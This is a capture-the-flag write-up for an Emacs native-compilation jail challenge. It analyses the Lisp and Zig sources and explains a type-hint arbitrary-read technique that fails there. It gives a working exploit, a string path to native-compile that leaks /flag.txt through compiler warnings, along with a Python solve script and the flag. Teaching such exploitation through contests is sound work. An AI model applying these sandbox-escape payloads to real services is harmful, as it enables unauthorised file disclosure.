Challenge Description
The sacrifices we make in the name of performance…
Connect with:
ncat --ssl emacsjail2.chal.uiuc.tf 1337author: George
The handout is a Nix flake plus a challenge/ directory: challenge.el, jailer.zig, build.zig, entry.sh, and nsjail.cfg. Emacs 30.2, one line of input, and a Zig module that inspects the machine code your input compiles to.
Source Code Analysis
The Lisp side
challenge.el is short enough to read whole:
;;; -*- lexical-binding:t -*-
(require 'comp)(require 'cl-lib)
(defun check (input) (when-let* (((native-comp-function-p input)) (libjailer (expand-file-name (file-name-with-extension "jailer" module-file-suffix))) (eln-file (native-comp-unit-file (subr-native-comp-unit input))) (func-name (comp-c-func-name (subr-name input) "F" t))) (module-load libjailer) (jailer-check eln-file func-name)))
(defun panic (str &rest fmt) (message str fmt) (kill-emacs))
(let ((input (read-string "Input: "))) (unless (length< input 4096) (panic "input is too long")) (let ((code (read-from-string input))) (setq code (car code))
(let ((macro-whitelist '(comp--prepare-args-for-top-level lambda cl-declare))) (mapatoms (lambda (a) (when (and (macrop a) (not (memq a macro-whitelist))) (push (cons a #'ignore) byte-compile-initial-macro-environment)))))
(let ((compilation-safety 0) (compiled (native-compile code (make-temp-file "emacsjail2")))) (unless (check compiled) (panic "jailer does not approve of your program")) (message "%s" (funcall compiled))) (kill-emacs)))Four things happen to your input:
- It is read with
read-from-string, so you get one Lisp object, not a string of source. - Every macro in the obarray except
lambda,cl-declare, andcomp--prepare-args-for-top-levelis rebound toignoreinbyte-compile-initial-macro-environment, which means every macro call in your code expands tonil. Special forms (if,let,while,progn,setq,catch) survive, because they are not macros. - The object is handed to
native-compile. - The resulting function is inspected by the jailer, and only then called.
entry.sh is worth a look too, because of its last character:
#!/bin/sh
export PATH=$PATH:/bin
emacs --versionemacs -nl -nw -Q --batch -l challenge.el 2>&1Standard error is folded into standard output, and socat hands both back over the TLS connection. Anything Emacs writes to stderr, we see.
The jailer
jailer.zig builds an Emacs module exposing one function, jailer-check:
fn check(filename: [:0]const u8, function_name: [:0]const u8) !bool { const target, const dl = try findFunction(filename, function_name); defer dl.deinit();
var insns: CapstoneInstIterator = try .init(target); defer insns.deinit();
while (insns.next()) |insn| { if (CapstoneInstIterator.controlFlowP(insn)) return false; } return true;}findFunction dlopens the .eln, resolves the symbol with dlsym for its runtime address, and walks the ELF symbol table for its st_size. Those bytes go through a capstone linear sweep, and a single instruction in the wrong group is fatal:
pub fn controlFlowP(insn: cap.cs_insn) bool { for (insn.detail.*.groups[0..insn.detail.*.groups_count]) |g| { switch (g) { cap.CS_GRP_CALL, cap.CS_GRP_JUMP => return true, else => {}, } } else return false;}Only CS_GRP_CALL and CS_GRP_JUMP are rejected. ret is CS_GRP_RET, so returning is fine. The function under inspection is the one named by (comp-c-func-name (subr-name input) "F" t); for a form compiled by native-compile, subr-name is always --anonymous-lambda, which mangles to F2d2d616e6f6e796d6f75732d6c616d626461___anonymous_lambda_0 (the hex is just --anonymous-lambda byte by byte).
So the rule is: your code must compile to straight-line machine code. No function calls, no branches. (lambda () 1) compiles to exactly what you would hope:
0x1100 mov eax, 6 b8060000000x1105 ret c36 is make_fixnum(1); Emacs tags fixnums as 4n + 2.
The Obvious Path, and Why It Fails
compilation-safety 0 in the source is a loud hint, and it lines up with the flavour text. Emacs’s native compiler carries two functions that exist purely to lie to the type inferencer:
;; WARNING: At speed >= 2 type checking is not performed anymore and suggestions;; are assumed just to be true. Use with extreme caution...
(defun comp-hint-fixnum (x) (declare (ftype (function (t) fixnum)) (gv-setter (lambda (val) `(setf ,x ,val)))) x)
(defun comp-hint-cons (x) (declare (ftype (function (t) cons)) (gv-setter (lambda (val) `(setf ,x ,val)))) x)These are plain functions, not macros, so the whitelist does not touch them. Forward propagation copies the declared return type onto the destination m-var, and then comp--remove-type-hints (which runs at native-comp-speed >= 2, and the default is 2) deletes the call while leaving the constraint behind. The compiler now believes an arbitrary value is a cons.
Whether that belief is acted on comes down to one boolean in src/comp.c:
static gcc_jit_rvalue *emit_call_with_type_hint (gcc_jit_function *func, Lisp_Object insn, Lisp_Object type){ bool hint_match = !comp.func_safety && !NILP (CALL2I (comp-mvar-type-hint-match-p, SECOND (insn), type)); ...}With hint_match true, the CAR helper collapses to a single load, because its CONSP test becomes a compile-time constant. Building the same lambda with the safety binding actually in effect gives an arbitrary read in two instructions:
0x1100 mov rax, qword ptr [rdi - 3] 488b47fd0x1104 ret c3[size=5 decoded=5 insns=2 control_flow=0] -> PASSThat is a jailer-approved arbitrary read primitive. Except it never happens here, because of the binding form:
(let ((compilation-safety 0) (compiled (native-compile code (make-temp-file "emacsjail2"))))That is let, not let*. Emacs evaluates every init form before installing any of the bindings, so native-compile runs while compilation-safety still holds its default of 1. make-comp-ctxt samples the variable at that moment and stores it in the compilation unit, so the whole unit is compiled at safety 1. Compiling the same lambda through the challenge’s exact let produces the checked version:
0x1100 lea eax, [rdi - 3] 8d47fd0x1103 test al, 7 a8070x1105 jne 0x1110 7509 <-- CS_GRP_JUMP0x1107 mov rax, qword ptr [rdi - 3] 488b47fd0x110b ret c3...0x1113 je 0x1140 742b <-- CS_GRP_JUMP...0x1131 call qword ptr [rax] ff10 <-- CS_GRP_CALL[size=67 decoded=67 insns=21 control_flow=3] -> FAILThe live service agrees:
Input: (lambda (&optional x) (car (comp-hint-cons x)))jailer does not approve of your programThis closes the whole category. comp.c inlines exactly ten operations (car, cdr, setcar, setcdr, add1, sub1, negate, consp, integerp, numberp); car and cdr keep their CONSP branch at safety 1, setcar and setcdr emit an unconditional CHECK_CONS regardless of safety, and everything else in Emacs Lisp is a function call. A jump-free, call-free function at safety 1 can do essentially nothing but return a constant.
Which is the hint that the jailer is not the thing to beat.
The Vulnerability
Read native-compile’s own documentation:
(defun native-compile (function-or-file &optional output) "Compile FUNCTION-OR-FILE into native code.This is the synchronous entry-point for the Emacs Lisp nativecompiler. FUNCTION-OR-FILE is a function symbol, a form, or thefilename of an Emacs Lisp source file. ...It takes three kinds of argument, dispatched by a generic function:
(cl-defmethod comp--spill-lap-function ((function-name symbol)) ...)(cl-defmethod comp--spill-lap-function ((form list)) ...)(cl-defmethod comp--spill-lap-function ((filename string)) ...)And challenge.el never checks which one it has. It takes whatever read-from-string produced and passes it straight through. Typing a string literal instead of a lambda selects the third method, whose body is (byte-compile-file filename).
The jailer still says no afterwards, because native-compile on a file returns the .eln path rather than a function, so (native-comp-function-p input) is nil and check falls through to panic. That does not matter at all: the file has already been compiled by then. Everything interesting happens before the check, and the check has no power to undo it.
So point the byte compiler at the flag. flag.txt contains something like uiuctf{...}, which is perfectly valid Emacs Lisp: a single symbol, appearing as a top-level form, referencing a variable that was never defined. The byte compiler has an opinion about that, and it names names.
Exploitation
The entire payload is one string literal:
"/flag.txt"Sent to the service:
Input:In toplevel form:flag.txt:1:1: Warning: file has no `lexical-binding' directive on its first lineflag.txt:1:1: Warning: reference to free variable `uiuctf{7ry_f34rl3ss_c0ncurr3ncy_n3x7}'jailer does not approve of your programentry.sh merged stderr into the connection, so the warning comes back to us. The jailer’s rejection is the last line, and by then it is only commentary.
Solve Script
#!/usr/bin/env python3import reimport socketimport sslimport sys
HOST, PORT = "emacsjail2.chal.uiuc.tf", 1337PAYLOAD = b'"/flag.txt"\n'
def main(): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE sock = ctx.wrap_socket(socket.create_connection((HOST, PORT), timeout=120), server_hostname=HOST)
buf = b"" while b"Input:" not in buf: chunk = sock.recv(4096) if not chunk: sys.exit("connection closed before prompt") buf += chunk
sock.sendall(PAYLOAD)
sock.settimeout(60) out = b"" while True: try: chunk = sock.recv(4096) except socket.timeout: break if not chunk: break out += chunk if b"jailer does not approve" in out: break
sys.stdout.write(out.decode("latin1")) flag = re.search(rb"uiuctf\{[^}]*\}", out) print("\n[+] flag:", flag.group().decode() if flag else "not found")
if __name__ == "__main__": main()Flag
uiuctf{7ry_f34rl3ss_c0ncurr3ncy_n3x7}